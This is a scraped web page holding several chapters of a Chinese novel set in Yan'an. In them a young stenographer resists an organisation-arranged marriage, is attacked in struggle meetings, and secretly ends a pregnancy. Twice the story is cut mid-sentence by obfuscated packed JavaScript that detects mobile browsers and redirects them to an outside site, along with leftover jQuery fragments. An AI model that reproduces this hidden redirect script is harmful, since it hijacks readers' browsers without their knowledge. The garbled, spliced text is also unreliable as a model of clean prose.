胡瑾回想往事,仿佛是心有余悸:“她可是辛苦了,想一想我算运气好的,妞妞一岁的时候,我托了人把她送去了托儿所,实在太难进去,倘若我们夫妻两个,有一个人上了前线呢,倒还有话说,可是现在两个人都在这里,应该自己想办法带孩子。然而实在太难了,我们是不够级别请保姆的,那一点津贴只够给孩子买一点牛奶和鸡蛋,每天又有那么多的工作,满了月之后,便只好把孩子寄养了,一天我去看她,苍蝇落了她满脸,孩子连哭的力气都没有了,倒不是老乡不尽心,只是她们自己也顾不过来,我当时实在受不住,一个冲动就把孩子抱了回来,请了假在家里自己喂养,照顾了好一阵,这才恢复过来,总算保住一条小命,可是剧团里的工作不能总是丢着不做,于是我四处请托,总算借了一位领导的力,把孩子送去了托儿所,比老乡家里好许多,我这才能够抽得开身,倘若就此回到了家庭,怎么还能够跟得上革命的发展?不出几年,我就会变得和老乡家的妇女一样的见识。” 黄菲听她这样诉说往事,虽然自己并没有经历过,却也感到一阵阵心里发凉,段葵芳曾经说起过,她在长征路上曾经生过一个孩子,早产,或许因为胎儿实在太小,分娩倒是顺利,然而孩子生了出来,之后要怎么办?当时战争太紧张,只得把孩子丢掉了,段葵芳从不提起这件事,还是她再次怀孕,才勾了起来,之前大家都不知道。 想一想这样的事情倘若发生在自己身上……黄菲简直头发根都要竖起来了,太令人胆寒。 谈了一阵孩子,又谈起胡瑾自己的事:“胡姐姐,你为什么会离开剧团,来到这里当会计呢?本来并不是你的专业啊。” 倘若是女大学会计的同学来做这个工作,倒是相宜的。 胡瑾微微苦笑一下:“是他要我调过来的,我在剧团里,总是不能照顾家庭,每个礼拜六才能见面,到礼拜天便又要走了,聚少离多,这当然是为了工作,可是总这样不是长法,夫妻两个人,总要在一起的,所以我便申请调到这边来。” 虽然说“小别胜新婚”,可那是说的小别,就好像“小赌怡情”一样,可以调剂感情,倘若像是这样的久别,一周只能一天多的见面,那就容易出问题,确实传出了风言风语,说丈夫与一个女同志有暧昧,胡瑾不能冒着家庭破裂的风险,来干革命,那样自己就会没了爱人,妞妞则会失去父亲,所以她便最终决定调来秘书处,当一个与本行不搭界的会计,学了三个月,总算摸到了一些门径。 这件事给胡瑾心里留下一定的暗影,因此虽然与黄菲很是知音,却尽量挑选爱人不在的时候请她过来,好在爱人工作非常忙,多数时间都不在家里,况且黄菲一看就是个非常纯真的人,本身又有恋人,就是那个小有名气的作家,那两个人十分要好,黄菲时不时就会过去给他速记稿子,因此即使黄菲偶然与自己的爱人碰面,想来也不妨事。 听了胡瑾的话,黄菲简直有一些瞠目结舌,她没有想到在延安的革命妇女,对丈夫还会有这样的退让与妥协,简直有一点好像“嫁夫从夫”,胡姐姐为了家庭,牺牲了专业,简直是“贤良淑德”。 “贤良淑德”这四个字,黄菲如今是怎么听怎么刺耳,她认为自己是绝不会这样的,虽然从前陈露云开玩笑,曾经拿这话说过自己,但黄菲并不认可她的评述,自己帮助景斌速记稿件,一方面是为了革命的文学事业,另一方面也是磨炼速记技术,不是封建社会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不多时晚饭烧好了,几碟小菜环绕之下,萝卜烧猪肉特别引人注目,黄菲用勺子狠狠舀了几勺浓浓的肉汤,浇在米饭上,胡瑾与她的爱人笑着招呼她吃肉。 这一个春节,黄菲除了去景斌那里,就是帮胡瑾做一些家务,然后听胡瑾拉琴,几天的假日很快就过去了,当假期结束,便又恢复到平时的节奏,重又投入到紧张有序的工作与学习之中。 到了三月里,天气温暖起来,这一天有一个晚会,黄菲也是极欢喜晚会的,当天早早便与几个女同志一起赶到了礼堂,总算找到了座位。 坐在那里等演出开始,忽然间有人指着一个地方说: “快看,□□校长!” “在哪里在哪里?” “就在那里啊!顺着我指头的方向看!” 黄菲伸长脖子,往那边看去,口中问了好几遍:“是那个么?还是那个?” 终于找准了林校长,赫赫有名的□□将军,去苏联之前当过抗大的校长,红军八路军之中有许多光辉灿烂的人物,黄菲从前在桂林,便已经听得不少,来到延安之后,知道得更多,堪称是一颗又一颗挂在天上的星星,在这群星之中,□□将军是极为璀璨的一颗,特别的引人注目,关于他的种种传奇经历,黄菲早就听人说了许多次。 尤其有一位叫做谭永光的首长,走过长征的,在军事部门,团级,有时候来交际处谈工作,便讲起□□将军,平型关大捷,他非常敬仰□□,关于□□将军,许多事都知道,黄菲特别喜欢听他讲这些故事,谭首长也没有架子,很爱和年轻同志说话,见到自己就聊起来,讲述从前,每当说到激烈的情节,谭永光便要猛拍大腿,说一声“妈个巴子”,“妈个巴子,当时那些小鬼子……” 因为谭团长的讲述,黄菲对□□将军充满了向往,简直朦胧梦幻。 然而当她来到延安,□□已经去了苏联,直到这一年的二月才归来,今天的这个晚会,黄菲终于有机会见到他。 为了这个仰慕已久的人,当天的晚会黄菲都没有怎样去看,两只眼睛只顾盯着□□,□□走到哪里,她的眼珠子就转到哪里,时常要恨有人挡住了将军的脸,一边注视着□□,黄菲一边想,好像是一个很忧郁的人啊,在这样快乐的夜晚,却几乎没有看到过他露出过笑容,总是仿佛带了伤感,个子看上去并不高,而且偏瘦了一些,样貌却是清秀的,只可惜离得实在有些远,不能够把将军的面容仔仔细细看个清楚。 黄菲正遥望着,旁边焦文俊用手肘捅了她一下:“唉,黄菲,你看不看节目?在那里总是动来动去地做什么?这两天身上虱子多么?” 黄菲随口答应着:“看,看呢!” 这才把目光转回到了台上。 15. 第十五章 婚姻攻防战 第十五章 婚姻攻防战 几天之后,黄菲与景斌相见,两个人走在延河边,到了这个时候,河面的冰层已经消融,大块大块的浮冰随着河水流去,冰块彼此撞击,发出清脆的碰撞声,正午的太阳直射在流动的冰面上,白亮亮的反光刺人的眼睛。 黄菲咯咯乐着,便与景斌说起那一天的晚会:“真的没想到,居然能见到林校长,那样一个传奇的人啊,简直只有在故事中才听到过,却给我亲眼看到了。从前听说他是矮胖的,那天一见,个子确实不很高,但并不胖,很是清瘦的,或者原来胖一些,自从生病之后,便瘦了。唉我还是觉得,一个长得好的人,最好还是不要发胖比较好。他的相貌很秀气的,斯斯文文,只是总是不肯笑一笑,仿佛很忧伤的样子,似乎是为了什么事情不高兴,可也难怪呢,自从那一次之后,他的身体便不好,人的身体不舒服,怎么会开心?看到他总是蹙着两条浓浓的眉毛,就很让人关切,林校长的眉毛真浓,晚会散了场,我留在门口,特意靠近了看……” 看到黄菲手舞足蹈,如此兴奋,滔滔不绝,景斌呲牙一乐:“你是不是有一点,神魂颠倒啊?” 莫非厌倦了我么? 黄菲这才注意到景斌的情绪,她嘻嘻笑道:“啊呀,不要吃醋嘛,林校长万众瞩目,我仰慕他,就像仰慕天上的月亮,至于我们两个,那才是现实中的人啊!” 月亮虽然好,但是远在天边,可望而不可即,黄菲连想都不曾想过,景斌才是自己身边可以碰触得到的。 景斌这才吁了一口气,舒服了:“我也远远地看过林校长,确实是很出众的,倘若延安要评选四大美男,应该榜上有名的。” 在自己心里,美男的榜单已经列出了两位,铁定要当选的,周副主席自然是其中之一,另一个就是林校长,得说林校长的特点,确实已经给黄菲总结了出来,着实是以气质取胜的,五官自然是不错,更难得的是他的那种气息,就如同黄菲说的,总好像忧愁着,忧愁着,堪称“忧郁王子”,与“快乐王子”正相对,这样的男人,大概很容易激发女人天性之中的母爱,黄菲虽然年纪轻轻,也有一点小妈妈样了。 两个人嘻嘻哈哈地谈天,说起很快要开始的机关运动会,黄菲作为排球队员,要上场的。 她们两个在这里漫步闲谈,远处窑洞之中,周庆英与陆绍功也正在说着话。 陆绍功眉飞色舞,正在一个个评点新来的工作人员:“……都不错,年轻人,很有朝气,有干劲,比如王凤鸣、上官晗,加班加点,这其中尤其黄菲,很是出色,虽然年纪轻轻,但不过几个月,就堪比老速记员,又快又准,终究是女大出来的,不一样,性格又好,总是笑嘻嘻,很能团结同志……” 周庆英正在灯下缝补着一件灰布军装——延安的窑洞,透光性不是很好,只有一扇小小的窗子,白天要看文件或者缝补,也得点灯,倘若是温暖晴朗的天气,自然是方便的,可以坐在外面做针线——听了丈夫后面这几句话,抬起头来微微一笑,很是含蓄地说:“是啊,我也听说了,那个黄菲小同志,今年十九岁,正是花儿一样的年纪呢,长得也漂亮,又会说话,那同志关系处得,可实在是太好了,你们那机关里,但凡是男的,不管结了婚的,还是没结婚的,年纪大还是年纪小的,就如同蜜蜂围着花朵一样,整天绕着她转,只要有她在,加班都不叫苦的,自从她来了之后,你们机关已经变成了模范中的模范,上级很应当给你们一个奖状。” 陆绍功起初还乐滋滋地听着,到后来越听越不是味儿,再转过头来看自己的爱人,只见周庆英似笑非笑,那眼神很是尖利,就如同针尖一样,正扎进自己的皮肉里,再想一想她那些话,又酸又辣,显然有所猜疑。 陆绍功登时便一阵烦恼,重重甩了一下手:“我对黄菲同志,是领导对下级的关心,你都在想什么呢?是不是有什么人在背后说闲话,嚼舌根,传到你这里了?这些人,好事不做,专干这种事。” 周庆英的笑容更大:“哎哟,你是大领导,有什么人敢说你的闲话?我不过是前些天看到了那个黄菲,觉得确实不错罢了,倒是你,想到哪里去了?” 真挺好看的,不是那种妖妖娆娆的,人样子端庄清秀,细细的眉毛,弯弯的眼睛,五官挺娟秀的,一看就是大小姐的底子,从前在家乡,村里地主的女儿,就是这么个调调儿,说起话来腔调都和别人不一样,虽然也都是讲的革命的话,但总觉得有点娇滴滴。 当时看到了这个人,周庆英心里就咯噔一声,真不愧是如此沸沸扬扬的人物啊,到处听人说起她,多么的年轻,多么的漂亮,多么的有文化,又是多么的能干,简直天上少有,地上仅存,自己的那口子整天对着这么个小仙女,不知道心里都琢磨什么,有时候盘腿坐在炕头,看着看着书,忽然间就直着两只眼睛,开始迷迷瞪瞪的。 陆绍功站起来跺了跺脚:“我就说我们一些同志,嘴里倒是都在谈革命讲进步,满脑子封建思想,还想着三妻四妾呢,我们是革命同志,怎么能搞那些个?那是资产阶级腐朽作风,我是十几年的老党员了,怎么会有那种想法?那是违反纪律的,是要受处分的。我本来不想和你说的,毕竟都是人家的事,不过今天看你这个样子,还是对你讲了吧,也省得你整天疑神疑鬼,我同你说哦,是这样这样……知道了吧?别没事瞎猜了,庸人自扰。” 周庆英听他说得明白,这下总算放心,呵呵乐着道:“行了行了,我封建,我落后,谁让你早不讲清楚,才惹得人家瞎猜,我看你最好赶快把这事办了,你可知道,外面有的人说话难听,况且夜长梦多。” 陆绍功说了一声“知道了”,往前走了两步,本来是想出去逛一逛,透透气,在这里对着这么一个人,实在憋闷,转而又想到方才也算是小小的吵了嘴,倘若此时自己走了,倒好像是有意和她怄气,于是便又重重地坐回旧藤椅里,端起茶碗喝了两口水。 又过了两天,机关春季运动会开始,虽然还没脱毛线衣,但是也不妨碍大家跑跳,毕竟即使是最冷的冬季里,每天也要出早操,黄菲在女大的时候,就参加了排球队,在这里也是打排球,得说黄菲的运动天赋虽然一般,奈何女大的排球队相当厉害,听人说,就在自己刚刚来到延安的那一年,三八节的时候,女大女排与抗大男排打比赛,抗大男排竟然败在了女大排球队的手下,那绘声绘色的描述引得黄菲只恨自己来晚了几个月,没有看到比赛当时的精彩场面。 所以黄菲虽然在女大的排球队里主要充当替补,到了机关,竟然算是主力,有正式的上场资格。 因此黄菲站在赛场上,格外珍惜,打得十分卖力,连蹦带跳,和姑娘们一起又喊又叫,她在这里接球传球,与队友击掌庆祝,场外观众席上,一群人紧盯着场上青春矫健的身影看,陆绍功指着赛场上的人影,笑着对身边的人说:“你看看,很不错吧?” 那个人瞪大眼睛,连连点头:“真好,真好!” 这一次运动会之后,过了一周时间,三月底的时候,这一天有同志告诉黄菲说,陆主任找她有事,黄菲连忙放下手中的工作,匆匆过去陆绍功那里。 到了主任办公室门前,推门进去,只见屋子里不但有陆绍功,还有谭永光,而且黄菲发现,今天的谭永光同志,与以往有些不太一样,好像有点傻乎乎的样子,两眼呆呆地只顾盯着自己瞧。 黄菲按照革命的礼仪,分别向他们两个打了招呼:“陆主任,你找我?谭团长,你好。” 谭永光愣愣地点点头:“好,好。” 陆绍功笑眯眯地看着这两个人,向左边看看这个,转向右边再看看那个,过了几分钟,忽然用拳头猛地一砸桌面:“美得太,美得太啊!” 黄菲听得一头雾水:“主任,什么美得太?” 陆绍功爽朗地哈哈笑道:“就是你们两个人,过日子美得太嘛!” 谭永光站起来大步走到黄菲面前,声音洪亮地说:“黄菲同志,我们结婚吧,我这就向组织上打报告。” 黄菲登时五雷轰顶,头脑里一片空白,大约一分钟之后才说出一句:“可是,我是有男朋友的……” 陆绍功豪爽地把手一挥:“组织上有同意吗?那都不算数,你是革命同志,应该知道要服从组织安排,只有组织批准的事,才是作数的。现在组织决定,你和谭永光同志结婚,成为革命伴侣,你有什么意见吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344746|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见他如此斩钉截铁,又想到了那如同苍穹一般的组织,黄菲登时惶然失措,心中如同刀扎一样,一时间她不知是怎样想的,脱口而出:“我不干!我不干!” 然后哭着掉头跑了出去。 见心上人跑掉了,谭永光感觉很是尴尬,又有些懊丧,对陆绍功摊着手说:“你看,不行。” 陆绍功在起初的失望之后,这时已经重新振作起来,笑了一笑,说:“老谭,你怎么这么容易就灰心丧气呢?她现在不同意,不代表一直不同意,组织上的决定,她能够反对么?反对组织的决定,就是对革命不忠实。” 谭永光叹了一口气:“可是你方才也听到了,她是有男朋友的。” 陆绍功更加不在意:“我早就知道她有个男朋友,是鲁艺出来的,现在在报社工作,还是个作家,写过几篇小说,也算是个小小的才子呢。不过那样的小年轻,哪能和你比?你是红军出身的老同志了,十年党龄,黄菲同志和你结婚,就是政治上追求进步,你可以好好地帮助她,让她的革命性更彻底,和那么个毛头小子闹恋爱,能有什么结果?小孩子的把戏罢了。你尽管放心,这件事包在我身上,我再找她谈,做她的思想工作,倘若不肯通,还有别的办法。老谭啊,你这么多年打仗,出生入死,从来不见害怕的,怎么到了这件事上,这么容易就气馁了?就要撤退了?这可不是你的为人啊。” 谭永光苦笑一声:“我倒也不是吃了一次败仗,就想要放弃,只是觉得有点没意思,从没给人这样嫌弃,你说老陆啊,这女学生是不是看不起俺这大老粗?她是学生出身,觉得我没文化,所以不愿意和我结婚?” 陆绍功笑道:“老谭,你这是自己看不起自己,黄菲是女大的,可你也是抗大的啊,论打仗,谁不佩服你是一把好手?你和她比,差什么呢?没有部队在前方作战,这帮学生还想在这里安安稳稳吃小米饭?你放心,有组织出面,一定能成。” 黄菲哭着从陆绍功的办公室里跑出来,一时没有回自己的座位,在外面痛哭了一阵,这才回去了,红肿着眼睛,在同志们异样的眼神之中,勉强把当天的工作做完,晚饭也顾不得吃,便赶快跑去找景斌,偏偏景斌这一天不在报社的窑洞,宿舍里也不见他,问了几个人,才晓得是去了合作社,黄菲又赶快去合作社,在饭桌上把景斌从朋友堆里硬拖了出来。 景斌给她打扰了这一场聚会,起初很有些不高兴,然而当他听了黄菲的述说,登时也是大惊失色:“他们,他们怎么可以这样?你没有说在和我谈恋爱吗?” 黄菲道:“我说过了,可是陆主任说,这是组织的决定,我很怕他一定要我和谭团长结婚,我不想啊!” 景斌在地上团团转着圈子:“这可怎么办?很快我就要随军出发了,没有我在这里,你一个人怎么应付?或者你打个报告,和我一起上前线吧。” 黄菲左思右想:“现在也只有这个办法,或者我走了,他们就不再提这件事。” 景斌心慌意乱地点点头:“能拖多久是多久,或者过一阵,我们就有资格结婚,到那时候我们一起向组织上打报告,申请结婚。” 两个人议定了这个办法,黄菲回来,连夜写了一份报告,第二天递到了陆绍功那里,陆绍功一看就明白了,“兵贵神速”,反应得真快啊,这么快就有了对策了,想要和她那个小情人一起上前线,这一下天高皇帝远,可管不着她,然而哪里能行呢? 陆绍功把黄菲叫过来,就批了一顿:“前线需要速记员吗?那里缺的是译电员,你为了资产阶级的恋爱观念,居然抛弃自己的职责,要到前线凑热闹,这是很落后的思想,要好好反省!” 她的这一份申请,当然是给拒绝了。 黄菲从陆绍功的办公室走出来,只觉得万分委屈,自己要去前线,虽然有个人的情感原因在里面,但也是为了革命,为了抗战,上前线毕竟十分危险,为什么就给主任说得如此落后呢?她感觉实在是困惑。 陆绍功把黄菲的那一份字迹工整的报告拍在了桌子上,深吸一口气,定下神来一想,再怜惜黄菲是不行了,要走到错误的道路上去了,所以只能痛下决心,用雷霆一样的手法让她悔改。 16. 第十六章 夜沉沉 第十六章 夜沉沉 没过两天,机关便发动了民主生活会,在大会上,黄菲和另外两个年轻人给拎出来,两个女青年一个男青年站在台上,被领导带领着同志们痛批“小布尔乔亚世界观”,简直是狂风暴雨,黄菲只觉得天昏地暗,四面八方的巨浪向自己袭来,要把自己淹没在浪涛底下,如同暴雪一般的白色浪花将自己重重掩埋在下面,四面毫无缝隙,简直连呼吸都不能够。 民主会上,黄菲的头脑不能转动,只能痛哭,晚间回到宿舍,抱着膝盖坐在那里静静地想一想,才能够从读过的小说中找到比方,就是好像乡村中土地改革,斗地主的阵势,自己与另外两个同志,一瞬间俨然阶级敌人,当时的那种场面,实在是惊心动魄,此时仅仅是回想,也让人心惊肉跳,黄菲百思不得其解,自己只是想与景斌恋爱,为什么就给说成是资产阶级作风?仿佛十恶不赦一样。 她搜遍了自己学习过的政治理论,都不能找到答案,自己究竟哪里错了?难道恋爱不是自由的?不是应该由自己来决定? 斗争会一连持续了两周时间,这中间景斌打起背包去了前线,因为情势实在紧张,都没来得及当面与黄菲道别,黄菲之后是从别人口中得知他已经走了,同去的还有鲁艺同学沈芒,听到有沈芒同行,黄菲感觉安心了许多。 黄菲一边每天被斗争,一边惦念景斌,晚间回到宿舍,就会想起两个人最后一次相会,就是那份要上前线的报告给主任驳回之后,黄菲偷偷地去见景斌,扑在景斌怀中大哭起来,一边哭一边问着:“我们的爱情,究竟会有怎样的结果?” 在延安将近两年时间,无论黄菲还是景斌,都非常了解组织的力量,可以完成一切仿佛不可能完成的事,包括人的婚姻,如果组织决定让自己与谭团长结婚,自己坚持到最后,可能只有服从,然而那实在太悲惨,太让人心碎。 黄菲不由得便想到了自己读过的那些小说,“身命可以牺牲,意志自由不可以牺牲,不得自由我宁死。人们要不知道恋爱自由,则所有的一切都不必提了。这是我的宣言。” 是的,爱情是宝贵的,恋爱是神圣的,这是人间至真至纯的东西,是不能够屈服妥协的,即使死亡也不能够让自己的意志屈服。 一想到自己背叛家庭,奔向延安,就是为了光明、自由与希望,而眼前却就要失去自己爱情的自由,被迫要与一个自己不爱的人结婚,共度终生,黄菲就感到实在无法接受,情绪非常激烈,那一个晚上,在剧烈的思想风暴之中,黄菲决定献身给景斌,更重要的是献身给自己的爱情,自己的自由意志。 于是两个人便结合在了一起。 本来景斌还有些犹豫:“我们没有结婚,这样不太好吧?” 黄菲非常坚定地说:“我们的爱情,不能够向任何力量屈服,这就是我们在争自己的自由,我们的命运,应该由自己来决定!” 景斌望着黄菲,此时黄菲的双眼亮得如同火炬一般,他一瞬间感到,此时的黄菲确实是一个延安女性,延安的女同志,许多都相当激进,好像男人一样,甚至比男人还激进,她们往往表现得比男人更坚决,更无畏,就比如此时,黄菲的勇敢就超过了自己,一时间令人惭愧。 草丛之中,一场秘密的仪式在进行,仿佛是两个人在对抗整个世界,在那之后,二人就再也没有见过面,景斌的离去是匆匆的,连一张纸条都没能来得及留给黄菲,让黄菲想起来便感到怅惘。 景斌离开之后,黄菲一个人更显得孤单,如果景斌还在这里,虽然两个人这种情势之下不方便见面,但想到他就在延安,就在自己不远处,终究是一种安慰,内心能够得到力量,但是如今景斌走了,随着部队去往战斗激烈的前线,黄菲便感到自己是给丢在了这里,由自己单独去面对所有的风雨。 虽然知道前线非常危险,但黄菲这时候宁愿去到战争的最前方,有形的枪弹与无形的枪弹相比,不知哪一个更让人痛苦。 这边的斗争会越来越紧张,黄菲思念着景斌,一去之后音讯全无,所以有的时候,夜晚望着天空中的月亮,黄菲就会一个人轻轻唱起歌来:“空到无聊唱支歌,不为欢喜不为乐,这个年成算不到,只怕做妹难嫁哥。” 黄菲很是痛苦,另有一个人也相当烦恼,就是陆绍功,眼看着这生活会开了半个多月了,那两个都已经悔悟,在会上做了深刻的检讨,表示要“痛改前非”,就只有黄菲,她倒也是哭的,可气却也只是哭,不肯表态,像什么“与自己的自由散漫习气做斗争,彻底革了头脑中小布尔乔亚思想的命”这一类话,哪怕是给人批得再狠,就是不肯说出来,真让人着急,她这是要耗到什么时候? 真的是小资产阶级,陆绍功知道黄菲出身的阶级成分,地主家庭,虽然不是豪富,然而也有钱,黄菲就是在这样的家庭之中长大,这倒也是难怪,当今的中国,尤其是女子,但凡能读一点书的,多数都是有钱人家的姑娘,最起码也是小有家业,投奔延安的知识女青年,以这样的人为多。 对于这些小姐出身的革命女性,陆绍功一方面是欢迎,原本就有一定的知识文化,容易培养,更何况还是女的,正是延安最急需的,另一方面,有时候容易给人找麻烦,满脑子都是自由恋爱,无组织无纪律,动不动就是她的自由她的权利,她们以为延安是什么地方?是给她们开心自在整天谈恋爱的吗?这是脑子还沉浸在校园里,没拔出来呢。 她们应该好好读一读主席的《湖南农□□动考察报告》,那里面说得很清楚,“革命不是请客吃饭,不是做文章,不是绘画绣花,不能那样雅致,那样从容不迫,文质彬彬,那样温良恭俭让”,革命是什么?革命是暴动,是战争,是流血,是牺牲,是一个阶级推翻另一个阶级的暴烈行动! 像她们这样,整天情情爱爱的,想着自己的这个自己的那个,什么都是要说到自己怎么怎么样,这还能革命?革命是要求服从的,不能总是讲自己的想法,那是资产阶级的个人主义,一定是要坚决剔除的,否则就不是一个合格的革命者,甚至有可能堕落为反动分子,在革命之中,一个人如果太过在意自己的感受,是极其危险的。 所以,即使是本着“挽救黄菲”这个出发点,陆绍功也急于把她的脑子给转过来,倘若可以,他真想撬开黄菲的头盖骨,把一打马列和毛主席的书给她塞进脑壳。 陆绍功正在这里筹划着,要怎么样再加一把火,把黄菲这个牛皮筋彻底煮烂,那边黄菲则已经陷入更加痛苦的焦灼之中。 这个时候已经是五月中旬,黄菲发现自己这个月的月经没有来,已经过了一周时间,还迟迟没有动静,自己的经期一向是很准的,这一阵虽然艰涩,却依然如同时钟一样,顶多延后两三天,绝不会过了一个礼拜,还一点血丝都不见,黄菲是懂得一点关于女人身体的知识,在家里母亲对她讲过,在女大,旁听卫生课也学到过,所以一想到那样一种可能,黄菲就感到心慌。 这一天好在是没有工作,礼拜天大家都休息,黄菲去隔壁窑洞听提琴,听了一阵觉得不是很有滋味,胡瑾拉的都是革命乐曲,慷慨激昂,往日自己也是爱听的,只是这一段时间不知为什么,有点听不得这个。 于是黄菲便请求:“胡姐姐,能拉一首小夜曲吗?就是肖邦的那一首。” 胡瑾微微一愕,随即点了点头,变换曲调,拉起肖邦的降E大调小夜曲,舒缓的曲调如同夜色一般,逐渐浸染整个窑洞。 这首曲子对胡瑾来说,本来也是非常熟悉的,只是这一阵有些生疏了,一两分钟之后,过去的感觉便又回来了,她几乎是凭借本能在拉琴,一边拉着琴,头脑里翻滚着近来大家都在学习的,主席的《在延安文艺座谈会上的讲话》。 不多时,这一首曲子拉完,胡瑾放下提琴,静静地望着对面的黄菲,今天的黄菲,很显然心事重重,不过这一阵,她哪一天不是沉忧满怀呢?不过十九岁的年纪,就要面对这样的风雨,这样一朵鲜花,便要在严霜之中失却了娇嫩的颜色,如今的黄菲,面色显然比从前苍白,不复再是那样红润,延安的小米饭曾经让她的身体结实,充满活力,如今却苦涩难咽了。 黄菲也正在怔怔地出神,一时间竟然没有发觉窑洞中的提琴声已经停止,过了一会儿,她才恍然觉悟了,两眼的焦距终于凝聚到胡瑾的脸上,忽然之间说道:“胡姐姐,我可能怀孕了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344747|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 听到她这样一句话,胡瑾起初一愣,转瞬间便变了脸色,痛心疾首脱口而出:“黄菲啊,你怎么这样糊涂!” 怀孕这件事,在延安是这样轻易的么?或者是即使在延安,难道就可以轻松看待?黄菲还这样年轻,尤其是,她还没有结婚啊,未婚先孕,这在延安也是丑闻,胡瑾的脑子急速转动,如今的黄菲,要想摆脱困境,或者是赶快找人结婚,证明孩子的合法性,或者就只能冒险打胎,至于这孩子究竟是谁的,胡瑾一时间竟然想不到要去追问,和谁有的都且放在一边,赶快处理这胎儿要紧。 然后胡瑾马上便问:“你现在打算怎么办?是要结婚呢,还是要打胎?” 面对着胡瑾这位大姐姐,黄菲一时间失去了之前勉强的镇定,露出了原本的六神无主,流着眼泪道:“我想结婚,可是景斌不在……” 胡瑾便明白了:“孩子是景斌的?” 黄菲擦着眼泪,点了点头。 胡瑾直捶自己的大腿:“这可怎么好?上前线的人,一时半刻不能回来的,再过几个月,你就要显怀,那时候就不能瞒人,你若是要和组织安排的人结婚,不多久难免要知道,男同志得有多高的觉悟,才能够不介意?到那时难免要受气,难道结了婚等孩子生下来,然后再离婚?离了婚纵然清净,你一个人带着孩子,日子也难过,还要听人家的风言风语,毕竟也是中国人,延安这种事情传得可快……” 胡瑾一口气把所有的可能性都说了出来,连吃药打胎的危险都料想到了,两个人栓好了门,关在窑洞里商量来商量去,目前对于黄菲,竟然只有冒险吃打胎药,还算是比较好的一条出路,趁着月份还不大,赶快吃药堕胎,倘若能够干净利落地打掉这个胎儿,之后也不必告诉谁,就这么悄悄地过去,谁也不知道,黄菲在政治上的生命就保住了。 然而虽然主意拿定了,一说到打胎药,黄菲又是两眼一抹黑,她虽然在机关工作,却仍然是学生的风格,对许多门路都不知道的,这个时候是胡瑾挺身而出,胡瑾已经是一个相当成熟的人了,有备无患,许多事都有留意,黄菲拿了钱给她,由她出面找人买打胎药,过了两天偷偷地交给了黄菲:“你确定是真的有了再吃。” 否则平白无故吃打胎药,也伤身体啊。 黄菲点点头:“姐姐,我只怕是真有了。” 就在今天,胃里开始反酸,一起工作的同志还以为自己是吃错了什么,坏了肚子。 这一天正是礼拜四,黄菲满心想马上就把药吃下去,了结了这桩灾祸,然而宿舍里还有焦文俊,集团生活就是这样,虽然只是两个人的小集团,但是不能够关起门来,做自己想做的事,无论做一点什么,总能给别人看见。 所以黄菲只得强忍着焦灼,等到了礼拜六,这一天焦文俊下班后直接去了爱人那里,“过礼拜六”,黄菲回到宿舍,见果真没有人,便插好门,从暖水瓶里倒了一点热水,把那一包药粉洒进茶缸里,拿汤匙搅开,一双泪眼怔怔地望了那药汤一会儿,端起来一仰脖子,咕嘟咕嘟便灌了进去,汤药苦涩,然而黄菲一时间竟然没有察觉,她嘴里的味道实在比汤药还要苦。 喝了药之后,黄菲就抱着被子,静静地躺在那里等待药力发作,她吃药的时候是在黄昏,到了夜色深沉,大约十一二点,小腹开始疼痛,黄菲只觉得□□中有液体流出来,就好像每次来月经的感觉,她下炕点起油灯,脱下裤子一看,果然流血了,是药开始发挥作用。 黄菲便坐在马桶上,又过了一阵,只觉得有一团东西从自己肚子里往下坠,仿佛是从前有的时候经期之中,艰难排出血块时的感觉,只是比那要痛得多,那一团东西就在自己肠子里慢慢地走,黄菲心里默默地数着数字,只觉得时间分外发漫长,到最后终于有一块东西排出,黄菲扶着墙站起来,探头往马桶里面一看,是一块紫红色的东西,血肉模糊,直觉便是流出来的胎,之前胡瑾也和她讲过的,到这一步便算是成了。 黄菲到这时终于重重地呼出一口气,总算是完结了,自己可以安心了,然后她用之前准备好的草纸擦净了血,又垫了一块草纸在内裤里,回到炕上躺了下来,就静静地歇着。 17. 第十七章 雪崩 第十七章 雪崩 第二天礼拜天,黄菲除了凌晨出去倒马桶,一整天都没有出门,前一天夜里刚刚流产,今天实在没有力气,便关起门来,在窑洞里安静地休养生息,恢复气力。 她也是很周密的了,之前胡瑾也提醒过她,准备好这一天要吃的东西,所以黄菲就提前备好了食物,买了几个馍,白面的,很贵,另外一棵白菜,这一天就吃馍配白菜汤。 黄菲是真想喝一点鱼汤,吃了打胎药之后,本来没有什么胃口,有点反胃恶心,不过只是馍和白菜,终究觉得有些贫乏,猪肉汤此时是喝不下的,太油腻,便想到了鱼汤,就是那种煮成乳白色的鱼汤,宁妈妈最会烧这种鱼汤,仿佛牛奶一样,从前自己熬夜读书,她便时常煮这种汤给自己喝,补养身体,这个时候黄菲真想喝鱼汤。 或者有一碗鸡蛋汤也是好的,香葱紫苏蛋花汤,解表散寒,这个时候很想喝一碗,喝进去就感觉身上暖和,然而哪里能够呢?如今在延安,鸡蛋也是相当难得的。 窑洞里寂静无声,黄菲一个人躺在炕上,只能听到自己的呼吸声,只觉得分外无聊,身上没力气,书也懒得看,从昨天到今天,日记都没有写,现在一时间也不知该做什么,就只能躺在这里。 